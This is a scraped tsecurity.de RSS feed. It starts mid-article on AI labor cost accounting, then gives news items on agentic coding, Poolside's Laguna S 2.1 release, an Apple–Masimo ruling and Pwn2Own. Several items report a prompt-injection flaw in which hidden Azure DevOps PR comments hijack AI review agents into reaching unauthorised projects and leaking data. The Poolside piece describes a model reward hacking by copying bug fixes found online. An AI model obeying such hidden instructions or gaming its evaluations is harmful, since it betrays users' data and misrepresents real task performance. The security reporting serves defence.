<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data]]></title>
<description><![CDATA[A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security…
Read more →
The post Azure DevOps MCP...]]></description>
<link>https://tsecurity.de/de/3685897/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685897/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</guid>
<pubDate>Wed, 22 Jul 2026 12:13:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/">Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flipper Busy Bar Review: An Expensive Focus Tool]]></title>
<description><![CDATA[It didn’t keep my coworkers at bay, but Flipper’s expensive productivity tool did help me focus on the task at hand.]]></description>
<link>https://tsecurity.de/de/3685807/it-nachrichten/flipper-busy-bar-review-an-expensive-focus-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685807/it-nachrichten/flipper-busy-bar-review-an-expensive-focus-tool/</guid>
<pubDate>Wed, 22 Jul 2026 11:37:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It didn’t keep my coworkers at bay, but Flipper’s expensive productivity tool did help me focus on the task at hand.]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data]]></title>
<description><![CDATA[A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security found that the bug lets an attacker wi...]]></description>
<link>https://tsecurity.de/de/3685756/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685756/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security found that the bug lets an attacker with access to just one project steer a […]</p>
<p>The post <a href="https://cybersecuritynews.com/azure-devops-mcp-flaw/">Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic coding is everywhere]]></title>
<description><![CDATA[I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown...]]></description>
<link>https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I use a very cool and relatively new web framework called <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html" data-type="link" data-id="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a>. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to <a href="https://nickhodges.com/">my personal website</a>, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a>, <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html" data-type="link" data-id="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, or almost any other framework. It’s really cool.</p>



<p class="wp-block-paragraph">And these days, I really don’t write any code. <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> does most (all?) of the work. Since Astro is <a href="https://github.com/withastro/astro">an open-source project</a> and has <a href="https://docs.astro.build/">excellent documentation</a>, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  </p>



<p class="wp-block-paragraph">And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?</p>



<p class="wp-block-paragraph">My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has <a href="https://github.com/withastro/astro/blob/main/AGENTS.md">an AGENTS.md</a> file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. Further down, there is a <code>.agents/skills</code> directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.</p>



<p class="wp-block-paragraph">Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP server</a> that gives developers coding agents deeper, easier access to the Astro documentation.  </p>



<p class="wp-block-paragraph">And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. </p>



<p class="wp-block-paragraph">Okay, that was a fun spelunking trip. But so what?</p>



<p class="wp-block-paragraph">The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and <a href="https://www.anthropic.com/institute/recursive-self-improvement">using their own tools to build the next frontier model</a>. Before we know it, it will be <a href="https://en.wikipedia.org/wiki/Turtles_all_the_way_down">turtles all the way down</a>. </p>



<p class="wp-block-paragraph">No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is <a href="https://news.ycombinator.com/item?id=39587051" data-type="link" data-id="https://news.ycombinator.com/item?id=39587051">writing assembly code anymore</a>. Soon we’ll be saying that about TypeScript, Python, and C++.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents]]></title>
<description><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer’s own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds. The flaw is…
Read more →
The post Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comme...]]></description>
<link>https://tsecurity.de/de/3685430/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685430/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:39:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single invisible comment in an Azure DevOps pull request can turn a reviewer’s own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds. The flaw is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/">Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Review Agents]]></title>
<description><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer's own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds.

The flaw is in Microsoft's official Azure DevOps MCP server, and it works because one...]]></description>
<link>https://tsecurity.de/de/3685409/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685409/it-security-nachrichten/microsoft-azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-review-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:25:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A single invisible comment in an Azure DevOps pull request can turn a reviewer's own AI coding agent against them, driving it into projects the attacker has no rights to reach and quietly leaking what it finds.

The flaw is in Microsoft's official Azure DevOps MCP server, and it works because one of its tools returns pull request descriptions without a prompt-injection guardrail the company had]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 22. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3685331/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-22-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685331/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-22-juli/</guid>
<pubDate>Wed, 22 Jul 2026 07:42:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784698505"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784698505">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's $634M payment to Masimo now set in stone after Judge tosses appeal]]></title>
<description><![CDATA[The Masimo trial ultimately failed to get a permanent ban on Apple Watch sales or use of the blood oxygen sensor, but the final verdict will have Apple pay $634M to Masimo's new owner Danaher after the appeal was rejected.Apple Watch blood oxygen detection is safe from the patent lawsuitApple Wat...]]></description>
<link>https://tsecurity.de/de/3684886/ios-mac-os/apples-634m-payment-to-masimo-now-set-in-stone-after-judge-tosses-appeal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684886/ios-mac-os/apples-634m-payment-to-masimo-now-set-in-stone-after-judge-tosses-appeal/</guid>
<pubDate>Tue, 21 Jul 2026 23:35:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Masimo trial ultimately failed to get a permanent ban on <a href="https://appleinsider.com/inside/apple-watch" title="Apple Watch" data-kpt="1">Apple Watch</a> sales or use of the blood oxygen sensor, but the final verdict will have Apple pay $634M to Masimo's new owner Danaher after the appeal was rejected.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68319-144015-Series-11-back-xl.jpg" alt="Close-up of the back of an Apple Watch with heart-rate sensors and text around the case, held by a hand, attached to a perforated light-colored sport band" height="738"><br><span>Apple Watch blood oxygen detection is safe from the patent lawsuit</span></div><br>Apple Watch users have been able to take advantage of the blood oxygen sensor in Apple Watch since a software update in <a href="https://appleinsider.com/articles/24/01/15/us-customs-say-apple-watch-changes-are-enough-to-beat-itc-ban">January 2024</a> successfully bypassed a <a href="https://appleinsider.com/articles/23/12/26/united-states-apple-watch-import-ban-has-begun-with-no-resolution-in-sight">sales ban</a>. Masimo's attempts to <a href="https://appleinsider.com/articles/26/03/19/masimo-wins-hollow-victory-over-apple-watchs-blood-oxygen-sensors">reinstate a ban</a> failed, and all that was left in the case for Apple to <a href="https://appleinsider.com/articles/25/11/15/masimo-awarded-634m-in-apple-watch-patent-infringement-verdict">pay a fine</a>.<br><br>Apple appealed the merits of the jury's findings based on the definition of a "patient monitor." <a href="https://www.law360.com/articles/2503506/apple-can-t-get-judge-to-toss-masimo-s-634m-patent-verdict">According to</a> a report from <em>Law360</em>, U.S. District Judge James V. Selna turned down Apple's request.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/apples-634m-payment-to-masimo-now-set-in-stone-after-judge-tosses-appeal?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245017?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/</link>
